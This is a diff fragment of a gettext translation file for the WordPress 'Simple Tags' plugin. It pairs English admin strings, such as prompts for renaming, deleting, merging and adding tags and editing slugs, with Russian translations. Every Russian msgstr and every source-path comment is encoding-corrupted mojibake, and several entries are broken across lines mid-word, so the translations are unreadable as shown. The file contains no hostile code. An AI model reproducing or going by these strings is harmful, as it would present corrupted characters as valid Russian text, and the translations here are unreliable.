+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐžÑÑ ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐŒÐµÑÐŸÐº ÐŽÐ»Ñ Ð¿ÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐžÑ Ñ Ð¿ÐŸÐŒÐŸÑÑÑ ÑÐ°Ð·ÐŽÐµÐ»ÐµÐœÐžÑ Ð·Ð°Ð¿ÑÑÑÐŒÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:686
+msgid "Tag(s) to rename:"
+msgstr "ÐÐµÑÐºÐ°(Ðž) ÐŽÐ»Ñ Ð¿ÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐžÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:687
+msgid "New tag name(s):"
+msgstr "ÐÐŸÐ²ÐŸÐµ(ÑÐµ) ÐžÐŒÑ(ÐœÐ°) ÐŒÐµÑÐºÐž(ÐŸÐº):"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:688
+msgid "Rename"
+msgstr "ÐÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:693
+msgid "Delete Tag"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ ÐŒÐµÑÐºÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:694
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÐžÐŒÑ ÐŒÐµÑÐºÐž ÐŽÐ»Ñ ÑÐŽÐ°Ð»ÐµÐœÐžÑ. Ð­ÑÐ° ÐŒÐµÑÐºÐ° Ð±ÑÐŽÐµÑ ÑÐŽÐ°Ð»ÐµÐœÐ° ÐžÐ· Ð²ÑÐµÑ
+ Ð·Ð°Ð¿ÐžÑÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:695
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐžÑÑ ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐŒÐµÑÐŸÐº ÐŽÐ»Ñ ÑÐŽÐ°Ð»ÐµÐœÐžÑ, ÑÐ°Ð·ÐŽÐµÐ»ÐžÐ² ÐžÑ
+ Ð·Ð°Ð¿ÑÑÑÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:700
+msgid "Tag(s) to delete:"
+msgstr "ÐÐµÑÐºÐ°(Ðž) ÐŽÐ»Ñ ÑÐŽÐ°Ð»ÐµÐœÐžÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:701
+msgid "Delete"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:706
+msgid "Add Tag"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ ÐŒÐµÑÐºÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:707
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ Ð¿ÐŸÐ·Ð²ÐŸÐ»ÑÐµÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÐŸÐŽÐœÑ ÐžÐ»Ðž ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐœÐŸÐ²ÑÑ
+ ÐŒÐµÑÐŸÐº Ð²ÐŸ Ð²ÑÐµ Ð·Ð°Ð¿ÐžÑÐž ÐºÐŸÑÐŸÑÑÐµ ÑÐŸÐŸÑÐ²ÐµÑÑÑÐ²ÑÑÑ Ð·Ð°ÐŽÐ°ÐœÐœÑÐŒ ÐŒÐµÑÐºÐ°ÐŒ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:708
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ Ð·Ð°ÐŽÐ°ÑÑ ÐŒÐœÐŸÐ¶ÐµÑÑÐ²ÐŸ ÐŒÐµÑÐŸÐº, ÑÐ°Ð·ÐŽÐµÐ»ÐžÐ² ÐžÑ
+ Ð·Ð°Ð¿ÑÑÑÐŒÐž. ÐÑÐ»Ðž Ð²Ñ Ñ
+ÐŸÑÐžÑÐµ ÑÑÐŸÐ±Ñ ÐŒÐµÑÐºÐ°(Ðž) Ð±ÑÐ»Ðž ÐŽÐŸÐ±Ð°Ð²Ð»ÐµÐœÑ Ð²ÐŸ Ð²ÑÐµ Ð·Ð°Ð¿ÐžÑÐž, ÑÐŸÐ³ÐŽÐ° ÐœÐµ Ð·Ð°ÐŽÐ°Ð²Ð°Ð¹ÑÐµ ÐœÐžÐºÐ°ÐºÐžÑ
+ ÐŒÐµÑÐŸÐº ÐŽÐ»Ñ ÑÐŸÐ²Ð¿Ð°ÐŽÐµÐœÐžÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:713
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:728
+msgid "Tag(s) to match:"
+msgstr "ÐÐµÑÐºÐ°(Ðž) ÐŽÐ»Ñ ÑÐŸÐ²Ð¿Ð°ÐŽÐµÐœÐžÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:714
+msgid "Tag(s) to add:"
+msgstr "ÐÐµÑÐºÐ°(Ðž) ÐŽÐ»Ñ ÐŽÐŸÐ±Ð°Ð²Ð»ÐµÐœÐžÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:715
+msgid "Add"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:720
+msgid "Edit Tag Slug"
+msgstr "Ð ÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÑÑ ÐºÐŸÑÐŸÑÐºÑÑ ÑÑÑÐ»ÐºÑ ÐŒÐµÑÐºÐž (slug)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:721
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÐžÐŒÑ ÐŒÐµÑÐºÐž ÐŽÐ»Ñ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÑ Ðž ÐµÐµ ÐœÐŸÐ²ÑÑ ÐºÐŸÑÐŸÑÐºÑÑ ÑÑÑÐ»ÐºÑ. <a href=\"http://codex.wordpress.org/Glossary#Slug\">ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐµÐœÐžÐµ ÐÐŸÑÐŸÑÐºÐŸÐ¹ ÑÑÑÐ»ÐºÐž</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:732
+msgid "Slug(s) to set:"
+msgstr "Ð£ÑÑÐ°ÐœÐŸÐ²ÐžÑÑ ÐºÐŸÑÐŸÑÐºÑÑ ÑÑÑÐ»ÐºÑ(Ðž):"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:737
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:916
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:785
+msgid "Edit"
+msgstr "Ð ÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:743
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:577
+msgid "Remove empty terms"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ Ð¿ÑÑÑÑÐµ ÑÐµÑÐŒÐžÐœÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:744
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 ÐžÐŒÐµÐµÑ ÐœÐµÐ±ÐŸÐ»ÑÑÐŸÐ¹ Ð±Ð°Ð³ Ðž ÐŒÐŸÐ¶ÐµÑ ÑÐŸÐ·ÐŽÐ°Ð²Ð°ÑÑ Ð¿ÑÑÑÑÐµ ÑÐµÑÐŒÐžÐœÑ. Ð£ÐŽÐ°Ð»ÐžÑÑ ÐžÑ
+ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:748
+msgid "Clean !"
+msgstr "ÐÑÐžÑÑÐžÑÑ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "ÐÐŸÐžÑÐº ÑÐµÑÐŒÐžÐœÐŸÐ²&hellip;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:854
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:755
+msgid "Quantity&hellip;"
+msgstr "ÐÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸâŠ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "ÐÐ²ÑÐŸÑ&hellip;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "ÐÑÐ±ÐŸÐ¹"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Ð¢ÐžÐ¿&hellip;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "ÐÐ°Ð¿ÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐ°"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº&hellip;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "ÐÐ°ÑÐ° (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ ÑÐ±ÑÐ²Ð°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "ÐÐ°ÑÐ° (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ Ð²ÐŸÐ·ÑÐ°ÑÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ ÑÐ±ÑÐ²Ð°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ Ð²ÐŸÐ·ÑÐ°ÑÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Ð€ÐžÐ»ÑÑÑ&hellip;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "ÐÑÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "Ð¢ÐŸÐ»ÑÐºÐŸ Ð±ÐµÐ· ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Ð€ÐžÐ»ÑÑÑÐŸÐ²Ð°ÑÑ &#187;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:912
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ Ð²ÑÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:936
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:815
+msgid "No content to edit."
+msgstr "ÐÐµÑ ÐºÐŸÐœÑÐµÐœÑÐ° ÐŽÐ»Ñ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "ÐÐµÑÐºÐž (ÑÐ°Ð·ÐŽÐµÐ»ÑÐ¹ÑÐµ ÐœÐµÑÐºÐŸÐ»ÑÐºÐŸ ÐŒÐµÑÐŸÐº Ð·Ð°Ð¿ÑÑÑÐŒÐž: ÐœÐ°Ð¿ÑÐžÐŒÐµÑ: ÐºÐŸÑÐºÐž, ÐµÐŽÐ° ÐŽÐ»Ñ Ð¶ÐžÐ²ÐŸÑÐœÑÑ
+, ÑÐŸÐ±Ð°ÐºÐž)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1105
+msgid "No new tag specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ ÐŒÐµÑÐºÐ° ÐœÐµ Ð·Ð°ÐŽÐ°ÐœÐ°!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1124
+msgid "No new/old valid tag specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ/ÑÑÐ°ÑÐ°Ñ ÐŒÐµÑÐºÐž Ð·Ð°ÐŽÐ°ÐœÑ ÐœÐµ Ð²ÐµÑÐœÐŸ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1156
+msgid "No tag renamed."
+msgstr "ÐÐµÑÐºÐ° ÐœÐµ Ð¿ÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1159
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "ÐÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐ°(Ñ) ÐŒÐµÑÐºÐ°(Ðž) &laquo;%1$s&raquo; Ð² &laquo;%2$s&raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1166
+msgid "No valid new tag."
+msgstr "ÐÐŸÐ²Ð°Ñ ÐŒÐµÑÐºÐ° ÐœÐµ Ð¿ÑÐ°Ð²ÐžÐ»ÑÐœÐ°Ñ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1183
+msgid "No objects (post/page) found for specified old tags."
+msgstr "ÐÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ ÐŸÐ±ÑÐµÐºÑÐŸÐ² (ÑÑÑÐ°ÐœÐžÑ/Ð·Ð°Ð¿ÐžÑÐµÐ¹) ÐŽÐ»Ñ Ð·Ð°ÐŽÐ°ÐœÐœÑÑ
+ ÑÑÐ°ÑÑÑ
+ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1208
+msgid "No tag merged."
+msgstr "ÐÐµÑÐºÐ° ÐœÐµ ÐŸÐ±ÑÐµÐŽÐžÐœÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1211
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "ÐÐ±ÑÐµÐŽÐžÐœÐµÐœÐžÐµ ÐŒÐµÑÐŸÐº &laquo;%1$s&raquo; Ð² &laquo;%2$s&raquo;. %3$s ÐŸÐ±ÑÐµÐºÑÐŸÐ² ÐŸÑÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1214
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "ÐÑÐžÐ±ÐºÐ°. ÐÑ Ð·Ð°ÐŽÐ°Ð»Ðž ÐœÐµÐŽÐŸÑÑÐ°ÑÐŸÑÐœÐŸ ÐŒÐµÑÐŸÐº Ð² ÑÑÑÐŸÐºÐµ ÐŽÐ»Ñ  Ð¿ÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐžÑ Ðž ÑÐ»ÐžÑÐºÐŸÐŒ ÐŒÐœÐŸÐ³ÐŸ Ð² ÑÑÑÐŸÐºÐµ ÐŽÐ»Ñ ÐŸÐ±ÑÐµÐŽÐžÐœÐµÐœÐžÑ. ÐÑÐ±ÐµÑÐžÑÐµ ÑÐœÐŸÐ²Ð°!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1240
+msgid "No tag specified!"
+msgstr "ÐÐµÑÐºÐž ÐœÐµ Ð·Ð°ÐŽÐ°ÐœÑ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1265
+msgid "No tag deleted."
+msgstr "ÐÐµÑÐºÐ° ÐœÐµ ÑÐŽÐ°Ð»ÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1268
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%s ÐŒÐµÑÐŸÐº ÑÐŽÐ°Ð»ÐµÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1280
+msgid "No new tag(s) specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ(ÑÐµ) ÐŒÐµÑÐºÐ°(Ðž) ÐœÐµ Ð·Ð°ÐŽÐ°ÐœÐ°(Ñ)!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1328
+msgid "No tag added."
+msgstr "ÐÐµÑÐºÐ° ÐœÐµ ÐŽÐŸÐ±Ð°Ð²Ð»ÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1331
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "ÐÐµÑÐºÐ°(Ðž) ÐŽÐŸÐ±Ð°Ð²Ð»ÐµÐœÐ°(Ñ) Ð² %1s Ð·Ð°Ð¿ÐžÑÑ(Ðž)."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1343
+msgid "No new slug(s) specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ(ÑÐµ) ÐºÐŸÑÐŸÑÐºÐ°Ñ(ÐžÐµ) ÑÑÑÐ»ÐºÐ°(Ðž) ÐœÐµ Ð·Ð°ÐŽÐ°ÐœÐ°(Ñ)!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1359
+msgid "Tags number and slugs number isn't the same!"
+msgstr "Ð§ÐžÑÐ»ÐŸ ÐŒÐµÑÐŸÐº Ðž ÑÐžÑÐ»ÐŸ ÐºÐŸÑÐŸÑÐºÐžÑ
+ ÑÑÑÐ»ÐŸÐº ÐœÐµ ÐŸÐŽÐžÐœÐ°ÐºÐŸÐ²ÐŸÐµ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1383
+msgid "No slug edited."
+msgstr "ÐÐŸÑÐŸÑÐœÐ°Ñ ÑÑÑÐ»ÐºÐ° ÐœÐµ ÐžÐ·ÐŒÐµÐœÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1386
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s ÐºÐŸÑÐŸÑÐºÐ°Ñ(ÐžÑ
+) ÑÑÑÐ»ÐºÐ°(ÐŸÐº) ÐŸÑÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐ°(ÐŸ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1404
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1089
+msgid "Nothing to muck. Good job !"
+msgstr "Ð¥ÐŸÑÐŸÑÐ°Ñ ÑÐ°Ð±ÐŸÑÐ°!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1429
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1117
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s ÑÑÑÐŸÐº ÑÐŽÐ°Ð»ÐµÐœÐŸ. ÐÐ°Ð·Ð° ÐŽÐ°ÐœÐœÑÑ
+ WordPress ÑÐµÐ¹ÑÐ°Ñ ÑÐžÑÑÐ°Ñ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1452
